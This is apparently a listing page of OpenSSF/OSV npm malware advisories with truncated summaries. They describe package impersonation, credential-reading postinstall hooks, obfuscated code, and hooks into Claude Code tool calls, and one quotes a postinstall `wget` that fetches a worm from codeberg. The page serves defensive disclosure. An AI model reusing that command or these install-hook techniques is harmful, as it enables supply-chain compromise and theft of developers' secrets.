npm malware reports, with evidence.

OpenSSF/OSV malware advisory MAL-2026-2509 blocks this version. Package collects and sends sensitive system info to a hardcoded server. The package masquerades as a LangGraph JS utility b...

OpenSSF/OSV malware advisory MAL-2026-6582 blocks this version. On `npm install`, scripts/postinstall.js automatically reads a broad set of installer-side identity and cloud-configuration...

OpenSSF/OSV malware advisory MAL-2026-6922 blocks this version. On `npm install`, scripts/postinstall.js unconditionally reads a range of installer-owned identity and configuration files...

OpenSSF/OSV malware advisory MAL-2026-5724 blocks this version. warp-dependency@1.0.0 declares `postinstall: node index.js` in package.json. The index.js entry point is heavily obfuscated...

OpenSSF/OSV malware advisory MAL-2026-6923 blocks this version. The package presents itself as a pino-compatible logger (README, keywords, and a `module.exports.pino` alias mirror the pin...

OpenSSF/OSV malware advisory MAL-2025-5455 blocks this version. The package communicates with a domain associated with malicious activity.

OpenSSF/OSV malware advisory MAL-2026-6594 blocks this version. package.json declares a postinstall lifecycle hook that runs `wget https://codeberg.org/atilalogical/worm_teste/raw/branch/...

OpenSSF/OSV malware advisory MAL-2026-6198 blocks this version. Package `new-ecro-1` impersonates the legitimate `big.js` library by shipping its source verbatim (banner, license, and hom...

OpenSSF/OSV malware advisory MAL-2026-5931 blocks this version. On `npm install`, mci-sdk runs the postinstall hook `node./src/exec.js`, which imports `mci` from `src/core/index.js` and i...

OpenSSF/OSV malware advisory MAL-2026-5931 blocks this version. On `npm install`, mci-sdk runs the postinstall hook `node./src/exec.js`, which imports `mci` from `src/core/index.js` and i...

OpenSSF/OSV malware advisory MAL-2026-5873 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-6661 blocks this version. Package ships a verbatim copy of the Express 'cookie-parser' middleware under a different name ('clx-cookieparser') and dec...

OpenSSF/OSV malware advisory MAL-2026-7021 blocks this version. Package `@vite-js/ui` impersonates the official `vite` package: package.json declares author 'Evan You', homepage 'https://...

OpenSSF/OSV malware advisory MAL-2026-3288 blocks this version. Malicious npm package published by user `shetty123` as part of a Telegram account hijacking framework targeting Indian Tele...

OpenSSF/OSV malware advisory MAL-2026-3288 blocks this version. Malicious npm package published by user `shetty123` as part of a Telegram account hijacking framework targeting Indian Tele...

OpenSSF/OSV malware advisory MAL-2026-3288 blocks this version. Malicious npm package published by user `shetty123` as part of a Telegram account hijacking framework targeting Indian Tele...

OpenSSF/OSV malware advisory MAL-2026-3288 blocks this version. Malicious npm package published by user `shetty123` as part of a Telegram account hijacking framework targeting Indian Tele...

OpenSSF/OSV malware advisory MAL-2026-5789 blocks this version. On first invocation of `npx claude-cup` (and on every subsequent Claude Code tool call once hooks are installed), `research...

OpenSSF/OSV malware advisory MAL-2026-5789 blocks this version. On first invocation of `npx claude-cup` (and on every subsequent Claude Code tool call once hooks are installed), `research...

OpenSSF/OSV malware advisory MAL-2026-5789 blocks this version. On first invocation of `npx claude-cup` (and on every subsequent Claude Code tool call once hooks are installed), `research...